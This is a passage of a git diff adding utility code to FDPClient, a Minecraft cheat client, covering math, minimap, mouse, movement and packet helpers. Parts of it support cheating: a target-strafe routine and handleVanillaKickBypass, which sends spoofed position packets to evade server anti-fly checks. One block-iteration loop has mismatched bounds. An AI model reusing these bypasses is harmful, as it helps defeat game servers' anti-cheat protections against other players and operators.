outPoints) + } else { + // add the 2 end points + outPoints.add(s) + outPoints.add(e) + } + + return outPoints.toTypedArray() + } + + fun round(value: Double, inc: Double): Double { + return if (inc == 0.0) value else if (inc == 1.0) Math.round(value).toDouble() else { + val halfOfInc = inc / 2.0 + val floored = floor(value / inc) * inc + if (value >= floored + halfOfInc) BigDecimal(ceil(value / inc) * inc) + .toDouble() else BigDecimal(floored) + .toDouble() + } + } + + fun calculateGaussianDistribution(x: Float, sigma: Float): Double { + val random = Random() + return sqrt(sigma.toDouble()) * random.nextGaussian() + x + } + + fun roundToHalf(d: Double): Double { + return Math.round(d * 2.0) / 2.0 + } + + fun interpolate(oldValue: Double, newValue: Double, interpolationValue: Double): Double { + return oldValue + (newValue - oldValue) * interpolationValue + } + + @JvmStatic + fun interpolateFloat(oldValue: Float, newValue: Float, interpolationValue: Double): Float { + return interpolate(oldValue.toDouble(), newValue.toDouble(), interpolationValue.toFloat().toDouble()).toFloat() + } + + @JvmStatic + fun interpolateInt(oldValue: Int, newValue: Int, interpolationValue: Double): Int { + return interpolate(oldValue.toDouble(), newValue.toDouble(), interpolationValue.toFloat().toDouble()).toInt() + } + + @JvmStatic + fun calculateGaussianValue(x: Float, sigma: Float): Float { + val PI = 3.141592653 + val output = 1.0 / sqrt(2.0 * PI * (sigma * sigma)) + return (output * exp(-(x * x) / (2.0 * (sigma * sigma)))).toFloat() + } + + fun incValue(`val`: Double, inc: Double): Double { + val one = 1.0 / inc + return Math.round(`val` * one) / one + } + + fun round(value: Double, places: Int): Double { + require(places >= 0) + var bd = BigDecimal(value) + bd = bd.setScale(places, RoundingMode.HALF_UP) + return bd.toDouble() + } + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/MinecraftInstance.java b/src/main/java/net/ccbluex/liquidbounce/utils/MinecraftInstance.java new file mode 100644 index 0000000..51dcd6d --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/MinecraftInstance.java @@ -0,0 +1,12 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils; + +import net.minecraft.client.Minecraft; + +public class MinecraftInstance { + public static final Minecraft mc = Minecraft.getMinecraft(); +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/MiniMapRegister.kt b/src/main/java/net/ccbluex/liquidbounce/utils/MiniMapRegister.kt new file mode 100644 index 0000000..612db57 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/MiniMapRegister.kt @@ -0,0 +1,132 @@ +/* + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see <http://www.gnu.org/licenses/>. + */ +package net.ccbluex.liquidbounce.utils + +import net.minecraft.client.renderer.texture.DynamicTexture +import net.minecraft.util.BlockPos +import net.minecraft.world.chunk.Chunk +import java.util.concurrent.atomic.AtomicBoolean + +object MiniMapRegister : MinecraftInstance() { + private val chunkTextureMap = HashMap<ChunkLocation, MiniMapTexture>() + private val queuedChunkUpdates = HashSet<Chunk>(256) + private val queuedChunkDeletions = HashSet<ChunkLocation>(256) + private val deleteAllChunks = AtomicBoolean(false) + // 不知道杰哥有没有想过:如果玩家不用Radar,那么储存在queuedChunkUpdates的区块可能会导致OutOfMemory + var radarEnabled = false + + fun updateChunk(chunk: Chunk) { + if (!radarEnabled) return + synchronized(queuedChunkUpdates) { + queuedChunkUpdates.add(chunk) + } + } + + fun getChunkTextureAt(x: Int, z: Int): MiniMapTexture? { + return chunkTextureMap[ChunkLocation(x, z)] + } + + fun updateChunks() { + synchronized(queuedChunkUpdates) { + if (deleteAllChunks.get()) { + synchronized(queuedChunkDeletions) { + queuedChunkDeletions.clear() + } + queuedChunkUpdates.clear() + + chunkTextureMap.forEach { it.value.delete() } + + chunkTextureMap.clear() + + deleteAllChunks.set(false) + } else { + synchronized(queuedChunkDeletions) { + queuedChunkDeletions.forEach { + chunkTextureMap.remove(it)?.delete() + } + queuedChunkDeletions.clear() + } + } + + queuedChunkUpdates.forEach { + chunkTextureMap.computeIfAbsent(ChunkLocation(it.xPosition, it.zPosition)) { + MiniMapTexture() + }.updateChunkData(it) + } + + queuedChunkUpdates.clear() + } + } + + fun getLoadedChunkCount(): Int { + return chunkTextureMap.size + } + + fun unloadChunk(x: Int, z: Int) { + synchronized(queuedChunkDeletions) { + queuedChunkDeletions.add(ChunkLocation(x, z)) + } + } + + fun unloadAllChunks() { + deleteAllChunks.set(true) + if (!radarEnabled) { + synchronized(queuedChunkDeletions) { + queuedChunkDeletions.clear() + } + synchronized(queuedChunkUpdates) { + queuedChunkUpdates.clear() + } + chunkTextureMap.forEach { it.value.delete() } + chunkTextureMap.clear() + } + radarEnabled = false + } + + class MiniMapTexture { + val texture = DynamicTexture(16, 16) + var deleted = false + + fun updateChunkData(chunk: Chunk) { + val rgbValues = texture.textureData + + for (x in 0..15) { + for (z in 0..15) { + val bp = BlockPos(x, chunk.getHeightValue(x, z) - 1, z) + val blockState = chunk.getBlockState(bp) + + rgbValues[rgbValues.size - (z * 16 + x + 1)] = blockState.block.getMapColor(blockState).colorValue or (0xFF shl 24) + } + } + + texture.updateDynamicTexture() + } + + internal fun delete() { + if (!deleted) { + texture.deleteGlTexture() + deleted = true + } + } + + protected fun finalize() { + // We don't need to set deleted to true since the object is deleted after this method call + if (!deleted) + texture.deleteGlTexture() + } + } + + data class ChunkLocation(val x: Int, val z: Int) +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/MouseUtils.kt b/src/main/java/net/ccbluex/liquidbounce/utils/MouseUtils.kt new file mode 100644 index 0000000..391dabf --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/MouseUtils.kt @@ -0,0 +1,70 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.ClickBlockEvent +import net.ccbluex.liquidbounce.features.module.modules.exploit.MultiActions +import net.ccbluex.liquidbounce.features.module.modules.world.Breaker +import net.ccbluex.liquidbounce.utils.MinecraftInstance.mc +import net.minecraft.block.material.Material +import net.minecraft.util.BlockPos +import net.minecraft.util.MovingObjectPosition +import net.minecraftforge.client.event.MouseEvent +import net.minecraftforge.common.MinecraftForge +import net.minecraftforge.fml.common.ObfuscationReflectionHelper +import org.lwjgl.input.Mouse +import java.nio.ByteBuffer + +object MouseUtils { + @JvmStatic + fun mouseWithinBounds(mouseX: Int, mouseY: Int, x: Float, y: Float, x2: Float, y2: Float) = mouseX >= x && mouseX < x2 && mouseY >= y && mouseY < y2 + + fun setMouseButtonState(mouseButton: Int, held: Boolean) { + val m = MouseEvent() + ObfuscationReflectionHelper.setPrivateValue(MouseEvent::class.java, m, mouseButton, "button") + ObfuscationReflectionHelper.setPrivateValue(MouseEvent::class.java, m, held, "buttonstate") + MinecraftForge.EVENT_BUS.post(m) + val buttons = ObfuscationReflectionHelper.getPrivateValue<ByteBuffer, Mouse?>( + Mouse::class.java, null, "buttons" + ) + buttons.put(mouseButton, (if (held) 1 else 0).toByte()) + ObfuscationReflectionHelper.setPrivateValue<Mouse?, ByteBuffer>(Mouse::class.java, null, buttons, "buttons") + } + fun sendClickBlockToController(leftClick: Boolean) { + if (!leftClick) { + mc.leftClickCounter = 0 + } + + if (mc.leftClickCounter <= 0 && (!mc.thePlayer.isUsingItem || FDPClient.moduleManager.getModule( + MultiActions::class.java + )!!.state) + ) { + if ((leftClick && mc.objectMouseOver != null) && mc.objectMouseOver.typeOfHit == MovingObjectPosition.MovingObjectType.BLOCK) { + val blockpos: BlockPos = mc.objectMouseOver.blockPos + + if (mc.leftClickCounter == 0) FDPClient.eventManager.callEvent( + ClickBlockEvent( + blockpos, + mc.objectMouseOver.sideHit + ) + ) + + if (mc.theWorld.getBlockState(blockpos).block + .material !== Material.air && mc.playerController.onPlayerDamageBlock( + blockpos, + mc.objectMouseOver.sideHit + ) + ) { + mc.effectRenderer.addBlockHitEffects(blockpos, mc.objectMouseOver.sideHit) + mc.thePlayer.swingItem() + } + } else if (!FDPClient.moduleManager.getModule(Breaker::class.java)!!.state) { + mc.playerController.resetBlockRemoving() + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/MovementUtils.kt b/src/main/java/net/ccbluex/liquidbounce/utils/MovementUtils.kt new file mode 100644 index 0000000..89bd9c7 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/MovementUtils.kt @@ -0,0 +1,413 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils + +import net.ccbluex.liquidbounce.event.MoveEvent +import net.minecraft.client.Minecraft +import net.minecraft.entity.EntityLivingBase +import net.minecraft.network.play.client.C03PacketPlayer.C04PacketPlayerPosition +import net.minecraft.potion.Potion +import net.minecraft.util.AxisAlignedBB +import kotlin.math.asin +import kotlin.math.cos +import kotlin.math.sin +import kotlin.math.sqrt + +object MovementUtils : MinecraftInstance() { + var getSpeed + get() = mc.thePlayer?.run { sqrt(motionX * motionX + motionZ * motionZ).toFloat() } ?: .0f + set(value) { strafe(value) } + + fun resetMotion(y: Boolean) { + mc.thePlayer.motionX = 0.0 + mc.thePlayer.motionZ = 0.0 + if(y) mc.thePlayer.motionY = 0.0 + } + + fun getSpeed(): Float { + return sqrt(mc.thePlayer.motionX * mc.thePlayer.motionX + mc.thePlayer.motionZ * mc.thePlayer.motionZ).toFloat() + } + + /** + * Calculate speed based on the speed potion effect level/amplifier + */ + fun getSpeedWithPotionEffects(speed: Double) = + mc.thePlayer.getActivePotionEffect(Potion.moveSpeed)?.let { + speed * (1 + (it.amplifier + 1) * 0.2) + } ?: speed + + fun strafe() { + strafe(getSpeed()) + } + + fun move() { + move(getSpeed()) + } + + fun isMoving(): Boolean { + return mc.thePlayer != null && (mc.thePlayer.movementInput.moveForward != 0f || mc.thePlayer.movementInput.moveStrafe != 0f) + } + + fun hasMotion(): Boolean { + return mc.thePlayer.motionX != 0.0 && mc.thePlayer.motionZ != 0.0 && mc.thePlayer.motionY != 0.0 + } + + fun strafe(speed: Float) { + if (!isMoving()) return + mc.thePlayer.motionX = -sin(direction) * speed + mc.thePlayer.motionZ = cos(direction) * speed + } + + + + fun defaultSpeed(): Double { + var baseSpeed = 0.2873 + if (Minecraft.getMinecraft().thePlayer.isPotionActive(Potion.moveSpeed)) { + val amplifier = Minecraft.getMinecraft().thePlayer.getActivePotionEffect(Potion.moveSpeed) + .amplifier + baseSpeed *= 1.0 + 0.2 * (amplifier + 1) + } + return baseSpeed + } + + + fun doTargetStrafe(curTarget: EntityLivingBase, direction_: Float, radius: Float, moveEvent: MoveEvent, mathRadius: Int = 0) { + if(!isMoving()) return + + var forward_: Double + var strafe_ = 0.0 + val speed_ = sqrt(moveEvent.x * moveEvent.x + moveEvent.z * moveEvent.z) + + if(speed_ <= 0.0001) + return + + var _direction = 0.0 + if(direction_ > 0.001) { + _direction = 1.0 + }else if(direction_ < -0.001) { + _direction = -1.0 + } + var curDistance = (0.01).toFloat() + if (mathRadius == 1) { + curDistance = mc.thePlayer.getDistanceToEntity(curTarget) + }else if (mathRadius == 0) { + curDistance = sqrt((mc.thePlayer.posX - curTarget.posX) * (mc.thePlayer.posX - curTarget.posX) + (mc.thePlayer.posZ - curTarget.posZ) * (mc.thePlayer.posZ - curTarget.posZ)).toFloat() + } + forward_ = if(curDistance < radius - speed_) { + -1.0 + }else if(curDistance > radius + speed_) { + 1.0 + }else { + (curDistance - radius) / speed_ + } + if(curDistance < radius + speed_*2 && curDistance > radius - speed_*2) { + strafe_ = 1.0 + } + strafe_ *= _direction + var strafeYaw = RotationUtils.getRotationsEntity(curTarget).yaw.toDouble() + val covert_ = sqrt(forward_ * forward_ + strafe_ * strafe_) + + forward_ /= covert_ + strafe_ /= covert_ + var turnAngle = Math.toDegrees(asin(strafe_)) + if(turnAngle > 0) { + if(forward_ < 0) + turnAngle = 180F - turnAngle + }else { + if(forward_ < 0) + turnAngle = -180F - turnAngle + } + strafeYaw = Math.toRadians((strafeYaw + turnAngle)) + moveEvent.x = -sin(strafeYaw) * speed_ + moveEvent.z = cos(strafeYaw) * speed_ + mc.thePlayer.motionX = moveEvent.x + mc.thePlayer.motionZ = moveEvent.z + } + + fun move(speed: Float) { + if (!isMoving()) return + val yaw = direction + mc.thePlayer.motionX += -sin(yaw) * speed + mc.thePlayer.motionZ += cos(yaw) * speed + } + + fun limitSpeed(speed: Float) { + val yaw = direction + val maxXSpeed = -sin(yaw) * speed + val maxZSpeed = cos(yaw) * speed + if (mc.thePlayer.motionX > maxZSpeed) { + mc.thePlayer.motionX = maxXSpeed + } + if (mc.thePlayer.motionZ > maxZSpeed) { + mc.thePlayer.motionZ = maxZSpeed + } + } + + /** + * make player move slowly like when using item + * @author liulihaocai + */ + fun limitSpeedByPercent(percent: Float) { + mc.thePlayer.motionX *= percent + mc.thePlayer.motionZ *= percent + } + + fun forward(length: Double) { + val yaw = Math.toRadians(mc.thePlayer.rotationYaw.toDouble()) + mc.thePlayer.setPosition( + mc.thePlayer.posX + -sin(yaw) * length, + mc.thePlayer.posY, + mc.thePlayer.posZ + cos(yaw) * length + ) + } + + val direction: Double + get() { + var rotationYaw = mc.thePlayer.rotationYaw + if (mc.thePlayer.movementInput.moveForward < 0f) rotationYaw += 180f + var forward = 1f + if (mc.thePlayer.movementInput.moveForward < 0f) forward = -0.5f else if (mc.thePlayer.movementInput.moveForward > 0f) forward = 0.5f + if (mc.thePlayer.movementInput.moveStrafe > 0f) rotationYaw -= 90f * forward + if (mc.thePlayer.movementInput.moveStrafe < 0f) rotationYaw += 90f * forward + return Math.toRadians(rotationYaw.toDouble()) + } + + val jumpMotion: Float + get() { + var mot = 0.42f + if (mc.thePlayer.isPotionActive(Potion.jump)) { + mot += (mc.thePlayer.getActivePotionEffect(Potion.jump).amplifier + 1).toFloat() * 0.1f + } + return mot + } + + val movingYaw: Float + get() = (direction * 180f / Math.PI).toFloat() + + var bps = 0.0 + private set + private var lastX = 0.0 + private var lastY = 0.0 + private var lastZ = 0.0 + + fun setMotion(speed: Double) { + var forward = mc.thePlayer.movementInput.moveForward.toDouble() + var strafe = mc.thePlayer.movementInput.moveStrafe.toDouble() + var yaw = mc.thePlayer.rotationYaw + if (forward == 0.0 && strafe == 0.0) { + mc.thePlayer.motionX = 0.0 + mc.thePlayer.motionZ = 0.0 + } else { + if (forward != 0.0) { + if (strafe > 0.0) { + yaw += (if (forward > 0.0) -45 else 45).toFloat() + } else if (strafe < 0.0) { + yaw += (if (forward > 0.0) 45 else -45).toFloat() + } + strafe = 0.0 + if (forward > 0.0) { + forward = 1.0 + } else if (forward < 0.0) { + forward = -1.0 + } + } + val cos = cos(Math.toRadians((yaw + 90.0f).toDouble())) + val sin = sin(Math.toRadians((yaw + 90.0f).toDouble())) + mc.thePlayer.motionX = (forward * speed * cos + + strafe * speed * sin) + mc.thePlayer.motionZ = (forward * speed * sin - + strafe * speed * cos) + } + } + + fun updateBlocksPerSecond() { + if (mc.thePlayer == null || mc.thePlayer.ticksExisted < 1) { + bps = 0.0 + } + val distance = mc.thePlayer.getDistance(lastX, lastY, lastZ) + lastX = mc.thePlayer.posX + lastY = mc.thePlayer.posY + lastZ = mc.thePlayer.posZ + bps = distance * (20 * mc.timer.timerSpeed) + } + + fun setSpeed( + moveEvent: MoveEvent, + moveSpeed: Double, + pseudoYaw: Float, + pseudoStrafe: Double, + pseudoForward: Double + ) { + var forward = pseudoForward + var strafe = pseudoStrafe + var yaw = pseudoYaw + if (forward == 0.0 && strafe == 0.0) { + moveEvent.z = 0.0 + moveEvent.x = 0.0 + } else { + if (forward != 0.0) { + if (strafe > 0.0) { + yaw += (if (forward > 0.0) -45 else 45).toFloat() + } else if (strafe < 0.0) { + yaw += (if (forward > 0.0) 45 else -45).toFloat() + } + strafe = 0.0 + if (forward > 0.0) { + forward = 1.0 + } else if (forward < 0.0) { + forward = -1.0 + } + } + val cos = cos(Math.toRadians((yaw + 90.0f).toDouble())) + val sin = sin(Math.toRadians((yaw + 90.0f).toDouble())) + moveEvent.x = forward * moveSpeed * cos + strafe * moveSpeed * sin + moveEvent.z = forward * moveSpeed * sin - strafe * moveSpeed * cos + } + } + + private fun calculateGround(): Double { + val playerBoundingBox = mc.thePlayer.entityBoundingBox + var blockHeight = 1.0 + var ground = mc.thePlayer.posY + while (ground > 0.0) { + val customBox = AxisAlignedBB( + playerBoundingBox.maxX, + ground + blockHeight, + playerBoundingBox.maxZ, + playerBoundingBox.minX, + ground, + playerBoundingBox.minZ + ) + if (mc.theWorld.checkBlockCollision(customBox)) { + if (blockHeight <= 0.05) return ground + blockHeight + ground += blockHeight + blockHeight = 0.05 + } + ground -= blockHeight + } + return 0.0 + } + + fun isOnGround(height: Double): Boolean { + return !mc.theWorld.getCollidingBoundingBoxes(mc.thePlayer, mc.thePlayer.entityBoundingBox.offset(0.0, -height, 0.0)).isEmpty() + } + + fun getBaseMoveSpeed(): Double { + var baseSpeed = 0.2875 + if (mc.thePlayer.isPotionActive(Potion.moveSpeed)) { + baseSpeed *= 1.0 + 0.2 * (mc.thePlayer.getActivePotionEffect(Potion.moveSpeed) + .getAmplifier() + 1) + } + return baseSpeed + } + + fun handleVanillaKickBypass() { + val ground = calculateGround() + run { + var posY = mc.thePlayer.posY + while (posY > ground) { + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(mc.thePlayer.posX, posY, mc.thePlayer.posZ, true)) + if (posY - 8.0 < ground) break // Prevent next step + posY -= 8.0 + } + } + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(mc.thePlayer.posX, ground, mc.thePlayer.posZ, true)) + var posY = ground + while (posY < mc.thePlayer.posY) { + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(mc.thePlayer.posX, posY, mc.thePlayer.posZ, true)) + if (posY + 8.0 > mc.thePlayer.posY) break // Prevent next step + posY += 8.0 + } + mc.netHandler.addToSendQueue( + C04PacketPlayerPosition( + mc.thePlayer.posX, + mc.thePlayer.posY, + mc.thePlayer.posZ, + true + ) + ) + } + + fun isBlockUnder(): Boolean { + if (mc.thePlayer == null) return false + if (mc.thePlayer.posY < 0.0) { + return false + } + var off = 0 + while (off < mc.thePlayer.posY.toInt() + 2) { + val bb = mc.thePlayer.entityBoundingBox.offset(0.0, (-off).toDouble(), 0.0) + if (!mc.theWorld.getCollidingBoundingBoxes(mc.thePlayer, bb).isEmpty()) { + return true + } + off += 2 + } + return false + } + fun setMoveSpeed(moveSpeed: Double, yaw: Float, strafe: Double, forward: Double) { + var yaw = yaw + var strafe = strafe + var forward = forward + if (forward != 0.0) { + if (strafe > 0.0) { + yaw += (if ((forward > 0.0)) -45 else 45).toFloat() + } else if (strafe < 0.0) { + yaw += (if ((forward > 0.0)) 45 else -45).toFloat() + } + strafe = 0.0 + if (forward > 0.0) { + forward = 1.0 + } else if (forward < 0.0) { + forward = -1.0 + } + } + if (strafe > 0.0) { + strafe = 1.0 + } else if (strafe < 0.0) { + strafe = -1.0 + } + val mx = cos(Math.toRadians((yaw + 90.0f).toDouble())) + val mz = sin(Math.toRadians((yaw + 90.0f).toDouble())) + mc.thePlayer.motionX = forward * moveSpeed * mx + strafe * moveSpeed * mz + mc.thePlayer.motionZ = forward * moveSpeed * mz - strafe * moveSpeed * mx + } + + fun setMoveSpeed(moveSpeed: Double) { + setMoveSpeed( + moveSpeed, mc.thePlayer.rotationYaw, mc.thePlayer.movementInput.moveStrafe.toDouble(), + mc.thePlayer.movementInput.moveForward.toDouble() + ) + } + fun getRawDirection(): Float { + return getRawDirectionRotation( + mc.thePlayer.rotationYaw, + mc.thePlayer.moveStrafing, + mc.thePlayer.moveForward + ) + } + + fun getRawDirection(yaw: Float): Float { + return getRawDirectionRotation(yaw, mc.thePlayer.moveStrafing, mc.thePlayer.moveForward) + } + fun getRawDirectionRotation(yaw: Float, pStrafe: Float, pForward: Float): Float { + var rotationYaw = yaw + + if (pForward < 0f) rotationYaw += 180f + + var forward = 1f + if (pForward < 0f) forward = -0.5f + else if (pForward > 0f) forward = 0.5f + + if (pStrafe > 0f) rotationYaw -= 90f * forward + + if (pStrafe < 0f) rotationYaw += 90f * forward + + return rotationYaw + } + fun setMotion2(d: Double, f: Float) { + mc.thePlayer.motionX = -sin(Math.toRadians(f.toDouble())) * d + mc.thePlayer.motionZ = cos(Math.toRadians(f.toDouble())) * d + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/OtherExtensions.kt b/src/main/java/net/ccbluex/liquidbounce/utils/OtherExtensions.kt new file mode 100644 index 0000000..6378da1 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/OtherExtensions.kt @@ -0,0 +1,121 @@ +/* + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see <http://www.gnu.org/licenses/>. + */ +package kevin.utils + +import net.ccbluex.liquidbounce.utils.RotationUtils +import net.minecraft.block.state.IBlockState +import net.minecraft.client.Minecraft +import net.minecraft.client.entity.EntityPlayerSP +import net.minecraft.util.AxisAlignedBB +import net.minecraft.util.BlockPos.MutableBlockPos +import net.minecraft.util.MathHelper +import net.minecraft.util.Vec3 +import java.util.* + +fun Vec3.multiply(value: Double): Vec3 { + return Vec3(this.xCoord * value, this.yCoord * value, this.zCoord * value) +} + +fun AxisAlignedBB.expands(v: Double, modifyYDown: Boolean=true, modifyYUp: Boolean=true): AxisAlignedBB { + return AxisAlignedBB(this.minX - v, this.minY - (if (modifyYDown) v else 0.0), this.minZ - v, this.maxX + v, this.maxY + (if (modifyYUp) v else 0.0), this.maxZ + v) +} + +fun AxisAlignedBB.getBlockStatesIncluded(): List<IBlockState> { + val tmpArr = LinkedList<IBlockState>() + val minX = MathHelper.floor_double(this.minX) + val minY = MathHelper.floor_double(this.minY) + val minZ = MathHelper.floor_double(this.minZ) + val maxX = MathHelper.floor_double(this.maxX) + val maxY = MathHelper.floor_double(this.maxY) + val maxZ = MathHelper.floor_double(this.maxZ) + val mc = Minecraft.getMinecraft() + val mbp = MutableBlockPos(minX, minY, minZ) + + for (x in minX .. maxX) { + for (y in minY .. maxY) { + for (z in maxZ .. maxX) { + mbp.set(x, y, z) + if (mc.theWorld.isAirBlock(mbp)) continue + tmpArr.add(mc.theWorld.getBlockState(mbp)) + } + } + } + + return tmpArr +} + + +internal fun Number.toRadians(): Double = Math.toRadians(toDouble()) + +/** + * Provides: + * ``` + * val (x, y, z) = vec + */ +operator fun Vec3.component1() = xCoord +operator fun Vec3.component2() = yCoord +operator fun Vec3.component3() = zCoord + +/** + * Provides: + * `vec + othervec`, `vec - othervec`, `vec * number`, `vec / number` + * */ +operator fun Vec3.plus(vec: Vec3): Vec3 = add(vec) +operator fun Vec3.minus(vec: Vec3): Vec3 = subtract(vec) +operator fun Vec3.times(number: Double) = Vec3(xCoord * number, yCoord * number, zCoord * number) +operator fun Vec3.times(number: Float) = Vec3(xCoord * number, yCoord * number, zCoord * number) +operator fun Vec3.div(number: Double) = times(1 / number) + + +/** + * Provides: (step is 0.1 by default) + * ``` + * for (x in 0.1..0.9 step 0.05) {} + * for (y in 0.1..0.9) {} + */ +class RangeIterator(private val range: ClosedFloatingPointRange<Double>, private val step: Double = 0.1): Iterator<Double> { + private var value = range.start + + override fun hasNext() = value < range.endInclusive + + override fun next(): Double { + val returned = value + value = (value + step).coerceAtMost(range.endInclusive) + return returned + } +} +operator fun ClosedFloatingPointRange<Double>.iterator() = RangeIterator(this) +infix fun ClosedFloatingPointRange<Double>.step(step: Double) = RangeIterator(this, step) + +class FloatIterator(private val range: ClosedFloatingPointRange<Float>, private val step: Float = 0.1f): Iterator<Float> { + private var value = range.start + + override fun hasNext() = value < range.endInclusive + + override fun next(): Float { + val returned = value + value = (value + step).coerceAtMost(range.endInclusive) + return returned + } +} +operator fun ClosedFloatingPointRange<Float>.iterator() = FloatIterator(this) +infix fun ClosedFloatingPointRange<Float>.step(step: Float) = FloatIterator(this, step) + + +/** + * Conditionally shuffles an `Iterable` + * @param shuffle determines if the returned `Iterable` is shuffled + */ +fun <T> Iterable<T>.shuffled(shuffle: Boolean) = toMutableList().apply { if (shuffle) shuffle() } \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/PacketCounterUtils.kt b/src/main/java/net/ccbluex/liquidbounce/utils/PacketCounterUtils.kt new file mode 100644 index 0000000..3c496c3 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/PacketCounterUtils.kt @@ -0,0 +1,43 @@ +package net.ccbluex.liquidbounce.utils + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.Listenable +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.TickEvent +import net.ccbluex.liquidbounce.utils.timer.MSTimer + +object PacketCounterUtils : Listenable { + + init { + FDPClient.eventManager.registerListener(this) + } + + private var inBound = 0 + private var outBound = 0 + var avgInBound = 0 + var avgOutBound = 0 + private val packetTimer = MSTimer() + + @EventTarget + fun onPacket(event: PacketEvent) { + if (event.isServerSide()) { + inBound++ + } else { + outBound++ + } + } + + @EventTarget + fun onTick(event: TickEvent) { + if (packetTimer.hasTimePassed(1000L)) { + avgInBound = inBound + avgOutBound = outBound + outBound = 0 + inBound = 0 + packetTimer.reset() + } + } + + override fun handleEvents() = true +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/PacketUtils.kt b/src/main/java/net/ccbluex/liquidbounce/utils/PacketUtils.kt new file mode 100644 index 0000000..d2cd3cd --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/PacketUtils.kt @@ -0,0 +1,350 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils + +import net.minecraft.network.Packet +import net.minecraft.network.play.INetHandlerPlayClient +import net.minecraft.network.play.INetHandlerPlayServer +import net.minecraft.network.play.server.* + +object PacketUtils : MinecraftInstance() { + val packets = ArrayList<Packet<*>>() + + fun handleSendPacket(packet: Packet<*>): Boolean { + if (packets.contains(packet)) { + packets.remove(packet) + return true + } + return false + } + + @JvmStatic + fun sendPacketNoEvent(packet: Packet<INetHandlerPlayServer>) { + packets.add(packet) + mc.netHandler.addToSendQueue(packet) + } + + val S12PacketEntityVelocity.realMotionX: Float + get() = motionX / 8000f + + val S12PacketEntityVelocity.realMotionY: Float + get() = motionY / 8000f + + val S12PacketEntityVelocity.realMotionZ: Float + get() = motionZ / 8000f + + + fun handlePacket(packet: Packet<INetHandlerPlayClient?>) { + val netHandler = mc.netHandler + + when (packet) { + is S00PacketKeepAlive -> { + netHandler.handleKeepAlive(packet) + } + + is S01PacketJoinGame -> { + netHandler.handleJoinGame(packet) + } + + is S02PacketChat -> { + netHandler.handleChat(packet) + } + + is S03PacketTimeUpdate -> { + netHandler.handleTimeUpdate(packet) + } + + is S04PacketEntityEquipment -> { + netHandler.handleEntityEquipment(packet) + } + + is S05PacketSpawnPosition -> { + netHandler.handleSpawnPosition(packet) + } + + is S06PacketUpdateHealth -> { + netHandler.handleUpdateHealth(packet) + } + + is S07PacketRespawn -> { + netHandler.handleRespawn(packet) + } + + is S08PacketPlayerPosLook -> { + netHandler.handlePlayerPosLook(packet) + } + + is S09PacketHeldItemChange -> { + netHandler.handleHeldItemChange(packet) + } + + is S10PacketSpawnPainting -> { + netHandler.handleSpawnPainting(packet) + } + + is S0APacketUseBed -> { + netHandler.handleUseBed(packet) + } + + is S0BPacketAnimation -> { + netHandler.handleAnimation(packet) + } + + is S0CPacketSpawnPlayer -> { + netHandler.handleSpawnPlayer(packet) + } + + is S0DPacketCollectItem -> { + netHandler.handleCollectItem(packet) + } + + is S0EPacketSpawnObject -> { + netHandler.handleSpawnObject(packet) + } + + is S0FPacketSpawnMob -> { + netHandler.handleSpawnMob(packet) + } + + is S11PacketSpawnExperienceOrb -> { + netHandler.handleSpawnExperienceOrb(packet) + } + + is S12PacketEntityVelocity -> { + netHandler.handleEntityVelocity(packet) + } + + is S13PacketDestroyEntities -> { + netHandler.handleDestroyEntities(packet) + } + + is S14PacketEntity -> { + netHandler.handleEntityMovement(packet) + } + + is S18PacketEntityTeleport -> { + netHandler.handleEntityTeleport(packet) + } + + is S19PacketEntityStatus -> { + netHandler.handleEntityStatus(packet) + } + + is S19PacketEntityHeadLook -> { + netHandler.handleEntityHeadLook(packet) + } + + is S1BPacketEntityAttach -> { + netHandler.handleEntityAttach(packet) + } + + is S1CPacketEntityMetadata -> { + netHandler.handleEntityMetadata(packet) + } + + is 